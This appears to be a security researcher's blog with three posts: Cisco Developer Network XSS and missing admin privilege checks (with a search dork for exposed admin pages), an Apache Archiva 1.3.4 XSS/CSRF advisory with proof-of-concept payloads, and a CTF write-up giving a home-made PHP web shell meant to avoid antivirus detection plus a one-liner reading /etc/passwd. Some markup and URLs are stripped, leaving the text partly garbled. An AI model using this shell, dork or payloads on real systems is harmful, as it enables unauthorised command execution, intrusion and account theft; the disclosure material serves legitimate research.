Multiple Vulnerabilities with the Cisco Developer Network

I found a bunch of vulnerabilities with Cisco subdomains a couple of weeks ago, some of them were plain old XSS vulnerabilities,while others were more interesting. Cisco is yet to fix some of them which I will not be talking about here, however I will discuss the other issues that I found and which have now been fixed.

I found an XSS on the domain, and since Cisco uses Single Sign On for most of its subdomains, an attacker could simply exploit this issue and gain access to the user accounts under other Cisco domains. The Cisco Developer Network runs on a well known product, which is actively maintained by the developers and used worldwide by several major corporations. 

For the noobs, An XSS or Cross Site Scripting vulnerability occurs when an application accepts user input and sends it back to the browser without removing/encoding malicious characters. Malicious characters are any set of characters that a browser can use to render HTML or script content (,”,/> etc..). So, instead of displaying the user input, the browser will render/execute it depending on whether the input was HTML tagged content or script content.

XSS can cause a lot of serious problems. An attacker can steal cookies, redirect users to fake or malicious sites, control a user’s browser using automated frameworks like BeEF and download and execute exploits on the victim’s computer.

The other issue I found was particularly interesting because the application failed to check necessary user privilege levels while a user attempted access to application modules that were obviously sensitive. To this effect, I was able to locate the administration modules of several key sections under that would have allowed me to upload files, change and delete the content that users would see. I had access to all available administrative tasks since the application was clearly not checking whether I had admin or guest privileges. To make things worse, Google had traversed and cached these pages which would allow an attacker to reach to all the administration modules following an advanced Google search.

Now that both the issues have been fixed, here’s a finer look at the vulnerabilities:

1. XSS in the Cisco Developer Network (
The following pages accept client side input via the ‘_153_keywords’ parameter and render it back to the browser without sanitization.

This was a POST based XSS, hence to craft an attack vector, an attacker would need to create a page that autosubmits a form on page/body. 

2. Insufficient privilege/permission check on the Cisco Developer Network.
The application did not verify the permission levels of logged in users when providing access to the administration modules of several sections listed on under “Available Technology Centers”

Some examples were: 


An advanced Google search, like the following, can get a list of modules that were  vulnerable:|%20inurl:administration

Waiting for Cisco to fix some other issues on several other domains before I disclose them here. Till then Happy Hacking!

Apache Archiva Multiple XSS & CSRF Vulnerabilities

I am honestly surprised at the frequency and places one would find threats like Cross Site Scripting and Cross Site Request Forgery. Although immensely easy to locate and exploit, it can get quite twisted to fix these issues in large applications. Here’s a rundown on another product that was found vulnerable. As part of the vulnerability research that I do with published web applications, I downloaded a copy of Apache’s Archiva 1.3.4 which was the latest published edition on the vendor’s website. Upon examination, there seemed to be several issues with the application that I reported responsibly to the vendor and co-operated in responsible disclosure. Since the cat is now out of the bag, here’s the condensed disclosure document with the exploit code intact.

Title: Multiple XSS & CSRF Vulnerabilities in Apache Archiva 1.3.4

Project: Apache Archiva
Severity: High
Versions: 1.3.0 – 1.3.4. The unsupported versions Archiva 1.0 – 1.2.2 are also affected.
Exploit type: Multiple XSS & CSRF
Mitigation: Archiva 1.3.4 and earlier users should upgrade to 1.3.5
Vendor URL:
CVE: CVE-ID-2011-1077, CVE-2011-1026

28 February 2011: Vendor Contacted
1 March 2011: Vendor Response received. CVE-2011-1026 for CSRF Issues Assigned.
7 March 2011: CVE-2011-1077 Assigned for XSS Issues.
14 March 2011: Fixes released to selected channels / Found to be insufficient
27 May 2011: Vendor releases v1.3.5
27 May 2011: Vendor releases security disclosure to Bugtraq and FD.
30 May 2011: Exploit details released on Bugtraq & FD

Product Description:
Apache Archiva is an extensible repository management software that helps taking care of your own personal or enterprise-wide build artifact repository. It is the perfect companion for build tools such as Maven, Continuum, and ANT.

Archiva offers several capabilities, amongst which remote repository proxying, security access management, build artifact storage, delivery, browsing, indexing and usage reporting, extensible scanning functionality… and many more!

Vulnerability Details:
XSS: User can insert HTML or execute arbitrary JavaScript code within the vulnerable application. The vulnerabilities arise due to insufficient input validation in multiple input fields throughout the application.
Successful exploitation of these vulnerabilities could result in, but not limited to, compromise of the application, theft of
cookie-based authentication credentials, arbitrary url redirection, disclosure or modification of sensitive data and phishing attacks.

CSRF: These issues allow an attacker to access and use the application with the session of a logged on user. In this case if an administrative account is exploited, total application compromise may be acheived.
An attacker can build a simple html page containing a hidden Image tag (eg: ) and entice the administrator to access the page.

Proof of Concept:
Reflected XSS:‘xss’)>alert(‘xss’)!show.action?roleName=testalert(‘xss’)!doDelete.action?groupId=1alert(‘xss’)&artifactId=1alert(‘xss’)&version=1&repositoryId=internal!commit.action?legacyArtifactPath.path=testalert(‘xss’)&groupId=testalert(‘xss’)&artifactId=testalert(‘xss’)&version=testalert(‘xss’)&classifier=testalert(‘xss’)&type=testalert(‘xss’)!confirm.action?proxyid=testalert(‘xss’)

Persistant (Stored) XSS:
Exploit code: testalert(‘xss’) (,, Directory:repository.location, Index Directory:repository.indexDir) (Name:organisationName, URL:organisation:URL, LogoURL:organisation:URL), GroupId:groupId, ArtifactId:artifactId, Version:version, Classifier:classifier, Type:type) (, Protocol:proxy.protocol,, Port:proxy.port, Username:proxy.username)


Please update to Archiva 1.3.5, available for download via the vendor’s website.

Simple PHP Web Application Backdoor

The Hack In the Box CTF PreQuals 2011 had hackers from all over the world rack their brains against a Windows Binary and a Web Application. The challenge was to submit the MD5 sum of a flag either from the binary or from the application server. Somewhere between the night of March 19th and the early morning of March 20th, a group of hackers from India managed to crack the Web Application challenge.

The web application in question was vulnerable to a Local File Inclusion vulnerability. The web server also had its FTP port open and permitted anonymous login and file upload. It was then a matter of time when people who found this started uploading web application shells which would then be called from the application’s home page. A simple Google search will give tons of shells that would allow attackers to do awesome amounts of stuff at the mere click of buttons. Prebuilt commands into the page allow attackers to search for files that are world readable, open reverse connect shells, bind ports to /bin/bash, upload and download files etc. But most of these shells are detected by antivirus software and are flagged malicious. Since I needed a simple execution interface, I decided to write a shell from scratch. Here’s the code:

simple php shell PoC - karniv0re

System Info

echo "/etc/issue:\t".exec ("cat /etc/issue")."\n";
echo "uname -a:\t".exec ("uname -a")."\n";
echo "id:\t\t".exec("id")."\n";
echo "current wd:\t".exec ("pwd")."\n";

Command Output

$cmd = $_POST['cmd'];
if (strlen($cmd)==0){
$cmd = "true";

To get a list of users once you have uploaded and gained access to your shell, you can run:

"awk -F ":" '{ print $1 "[" $3 "]" "[" $7 "]"}' /etc/passwd"

Feel free to modify and add features, but remember there are more shells out there doing much more awesome stuff than merely execute and display.

Happy Hacking!